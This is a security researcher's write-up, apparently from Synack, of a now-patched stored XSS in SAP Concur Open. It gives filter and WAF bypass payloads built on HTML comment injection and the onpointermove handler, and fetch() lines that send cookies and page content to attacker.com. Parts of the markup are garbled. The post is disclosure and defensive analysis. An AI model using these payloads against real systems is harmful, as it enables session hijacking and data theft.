Dissecting Stored XSS in SAP Concur Open Vulnerability

Dissecting Stored XSS in SAP Concur Open: Event Handler Bypass and Regex Evasion Tactics

Yeasir Arafat

A Synack Red Team member discovered a cross-site scripting vulnerability in SAP Concur Open that could be exploited to hijack sessions, exfiltrate data and more. In this edition of Exploits Explained, Yeasir “zy1l0i2u” Arafat walks us through his discovery of this vuln.

In a recent assessment. I uncovered a Stored Cross-Site Scripting (XSS) vulnerability in SAP Concur Open, a core component of SAP Concur’s travel and expense management ecosystem that affects millions of SAP users. This exploit demonstrates how attackers can leverage obscure event handlers and flawed regex-based input filters to execute malicious scripts, bypassing multiple layers of security controls.

The Layers of Defense Targeted:

SAP Concur Open’s Input Validations: Strong in-place filters designed to block any quotes, HTML tags and event handlers.
Akamai Web Application Firewall (WAF): A robust perimeter defense solution integrated with SAP Concur to detect and block injection attacks.

The Exploit and Its Techniques:

The attack demonstrates how modern XSS payloads evade both application-level filters and WAF defenses through:

HTML Comment Injection: Obscuring payload patterns to bypass regex-based filters.
Event Handler Obfuscation: Using less common event triggers to evade WAF detection.
Akamai WAF Bypass Techniques: Employing payload fragmentation and signature evasion to circumvent WAF defenses.
Regex Evasion ( ?<!><!–> ): Exploiting weaknesses in input validation patterns through lookbehind assertions and payload splitting.

Scope of This Post:

This blog post will:

Provide insights into SAP Concur Open’s filtering mechanisms and Akamai WAF defenses.
Walk through the bypass of input validation and WAF protections step-by-step, supported by POC screenshots.
Analyze the XSS payload and explain the filter evasion techniques.
Present recommendations for fixing the vulnerabilities.
Evaluate how the SAP Concur 2024_12 update addresses the identified issues.

This post offers a deep dive into modern XSS exploitation techniques and highlights the importance of multi-layered security defenses to protect against evolving threats. These techniques, often overlooked by developers and security controls, allowed me to achieve persistent XSS execution within the platform.

About SAP Concur Open:

SAP Concur Open is the API-driven extension of SAP Concur, providing enterprises with advanced expense and travel management capabilities. It can be used to define corporate travel policies and classes. Streamline expense report approvals and audits; configure policies using Concur APIs; and connect with enterprise resource planning (ERP) systems, travel agencies and other third-party services.

Security Layers in SAP Concur Open:

In-Place Input Validation by SAP Concur:

HTML Filtering: blocks and throws error on common HTML tags such as
, , .</li> <li>Event Handler Blocking: Removes onload, onclick, onerror.</li> <li>Quote Blocking: Blocks any single quotes ( ‘ ) and double quotes ( “ ) from inputs.</li> <li>Encoding Blocking: Rejects payloads using HTML entity encoding (e.g., <, >) and URL encoding (e.g., %3Cs%3E).</li> <li>Regex-Based Input Validation: Matches known patterns but fails against obfuscated payloads.</li> <li>No Immediate Reflection: Outputs are escaped, preventing standard payloads from rendering.</li> </ul> <ol start="2"> <li><h3>Akamai WAF:</h3> </li> </ol> <ul> <li>Signature-Based Detection: Blocks known XSS payloads.</li> <li>Anomaly Detection: Identifies suspicious input behavior.</li> <li>Rate Limiting: Reduces brute-force attempts on input fields.</li> </ul> <h2>Initial Challenge – Bypassing SAP Concur Input Validations</h2> Attempt 1: Injecting a Standard HTML Payload – Blocked by Concur Filters Payloads:“><h1>Test</h1> ,”, ‘, \ <ul> <li>Result: Blocked. No reflection on the page.</li> <li>Server Response: 500 Error – Input Rejected by Concur’s Validation Filters.</li> </ul> Why ?<!><!–><h2 onpointermove=con.(1)>Clickme Bypassed SAP Concur Input Validation The payload: ?<!><!–><h2 onpointermove=con.(1)>Clickme successfully bypassed SAP Concur’s input validation due to a combination of obfuscation techniques and exploitation of overlooked event handlers. Here’s how: <ol> <li>HTML Comment Injection ( ?<!><!–> ) – Regex Evasion</li> </ol> <ul> <li>The ?<!><!–> sequence injects an HTML comment and a negative lookbehind assertion.</li> <li>Effect on Regex Filters:<ul> <li>SAP Concur’s filters use regex-based input validation, typically matching patterns like <[a-z]+.*on[a-z]++=.*> to block event handlers.</li> <li>The HTML comment ( <!–> ) breaks the regex continuity, causing the filter to fail to recognize the malicious event handler.</li> <li>The lookbehind assertion ( ?<!> ) is a regex technique often unsupported or misinterpreted, which contributes to the bypass.</li> </ul> </li> </ul> <ol start="2"> <li>Obscure Event Handler ( onpointermove ) – WAF and Filter Bypass</li> </ol> <ul> <li>SAP Concur’s input validation explicitly blocks common event handlers (onload, onclick, onerror) but ignores obscure events.</li> <li>onpointermove is a less common event that triggers when the mouse pointer moves over the element.</li> <li>Effect: The payload bypassed event-based filtering because SAP Concur’s filter was event-specific, failing to detect onpointermove.</li> </ul> <ol start="3"> <li>Lack of Comprehensive Event Blocking</li> </ol> <ul> <li>SAP Concur applies event blocking based on a blacklist approach, targeting only high-risk events like onload or onerror.</li> <li>No generic pattern detection for on[a-z]+ events, allowing uncommon events such as onpointermove to slip through.</li> </ul> <ol start="4"> <li>Output Reflection and Execution</li> </ol> <ul> <li>The input was stored in the database and rendered without output encoding, causing the <h2> tag and its event to execute directly in the browser.</li> <li>Content Security Policy (CSP) was applied to block the inline script execution. But was not actually working in place.</li> </ul> Challenge Insight – SAP Concur Input Validations: ✅ Blocks standard HTML TAG, QUOTES, Special Characters, payloads (‘, “, <a> , ) ✅ Removes high-profile event handlers ( onload , onerror , onclick ) ✅ Escapes direct output to prevent reflection ⚠️ Fails against obfuscated payloads with HTML comments and uncommon event handlers Let’s Bypass Akamai WAF with Payload Obfuscation <h3>First WAF Attempts – Detected and Blocked:</h3> During initial tests, the Akamai WAF effectively blocked standard XSS payloads through signature-based detection and event handler filtering: <ul> <li>Basic URL Encoding: Payloads using URL encoding, such as %3F%3C!%3E%3C!–%3E%3Ch2%20onpointermove%3Dconsole.log(document.domain)%3EClickme, were detected and blocked.</li> <li>Known XSS Signatures: Payloads with recognized patterns, such as ad?<!><!–><h2 onpointermove=console.log(document.domain)>Clickme, were identified and blocked.</li> </ul> Final WAF Bypass Technique: Obscure Event Handler + HTML Comment Injection Injected Payload: ?<!><!–><h2 onpointermove=console.warn(domain)>Clickme <h2>Why It Bypassed Akamai WAF:</h2> <ol> <li>HTML Comment Injection ( ?<!><!–> ) – Regex Evasion:<ul> <li>The ?<!><!–> sequence uses a negative lookbehind assertion and HTML comment injection to split the payload, breaking the WAF signature detection.</li> <li>Confuses regex filters designed to block continuous patterns like <on[a-z]*=.</li> </ul> </li> <li>Uncommon Event Handler ( onpointermove ) – Event-Based Bypass:<ul> <li>onpointermove is an obscure event that triggers when the user moves the mouse over an element.</li> <li>It bypasses WAF rules, which typically focus on blocking common events (onload, onerror).</li> </ul> </li> <li>JavaScript Execution ( console.warn(domain) ) – Verification:<ul> <li>Executes in the victim’s browser and outputs the domain to the browser console, confirming XSS.</li> </ul> </li> </ol> WAF Reaction: ✅ No Signature Detection: Passed due to payload splitting (<!–>), Inline Execution: WAF missed onpointermove. Stored Successfully: Payload was saved in the database. PoC below, <h2></h2> Exploiting the Stored XSS – Payload Trigger in Victim’s Browser Outcome: 💻 Console Output: console.warn(domain) Displayed the current domain in the browser console, confirming XSS. Impact Analysis: Session Hijacking: Capture and exfiltrate admin session cookies: fetch(‘<a href="https://attacker.com/log?cookie=%E2%80%99+document.cookie">https://attacker.com/log?cookie=’+document.cookie</a>); Data Exfiltration: Send sensitive data to an attacker-controlled server: fetch(‘<a href="https://attacker.com/collect%E2%80%99,%7Bmethod:%E2%80%99POST%E2%80%99,body:document.body.innerHTML%7D">https://attacker.com/collect’,{method:’POST’,body:document.body.innerHTML}</a>); Policy Manipulation: Modify travel policies or add unauthorized travel classes via stored scripts. Insights from a Red Team Perspective <ol> <li>Bypassing In-Place Validations with Obfuscation:</li> </ol> <ul> <li>Obscure Event Handlers (onpointermove, ontoggle) are often ignored by filters.</li> <li>Comment Injection (<!–>) is a simple yet effective bypass technique.</li> <li>Payload splitting techniques (?<!>) evade regex-based filters.</li> </ul> <ol start="2"> <li>Defeating WAF Controls with Pattern Evasion:</li> </ol> <ul> <li>Signature-based WAFs fail against payload fragmentation (<!–>).</li> <li>Anomaly detection models miss uncommon user behaviors like onpointermove.</li> </ul> <ol start="3"> <li>The Importance of Layered Security:</li> </ol> <ul> <li>Input sanitization alone is insufficient.</li> <li>Content Security Policies (CSPs) are crucial to prevent inline script execution.</li> <li>WAF rules must evolve to detect obscure event handlers and HTML comment injections.</li> </ul> <h2>Conclusion:</h2> This exploit of SAP Concur Open highlights the evolving sophistication of modern XSS payloads. Key takeaways include: The vulnerability was fixed in SAP Concur Open version 2024_12, which introduced the following security enhancements: <ul> <li>✅ Enhanced Input Validation: Blocks all on* event handlers, including onpointermove, and strips HTML comments to prevent regex evasion.</li> <li>✅ Improved WAF Rules (Akamai): Added deep packet inspection (DPI) and blocked obfuscated payload patterns (?<!><!–>). </li> <li>✅ Output Encoding: Applied strict HTML entity encoding to prevent stored XSS execution.</li> <li>✅ CSP Implementation: Introduced a strong Content Security Policy to prevent inline script execution.</li> </ul> SAP Concur Open version 2024_12 is confirmed to address all bypass techniques discussed. </article> <footer> Original source: <a href="https://www.synack.com/exploits-explained/dissecting-stored-xss-in-sap-concur-open-event-handler-bypass-and-regex-evasion-tactics" target="_blank">https://www.synack.com/exploits-explained/dissecting-stored-xss-in-sap-concur-open-event-handler-bypass-and-regex-evasion-tactics</a> This is an LLM-optimized cache with preserved navigation context and semantic structure. </footer> </body> </html>

Dissecting Stored XSS in SAP Concur Open: Event Handler Bypass and Regex Evasion Tactics

About SAP Concur Open:

Security Layers in SAP Concur Open:

In-Place Input Validation by SAP Concur: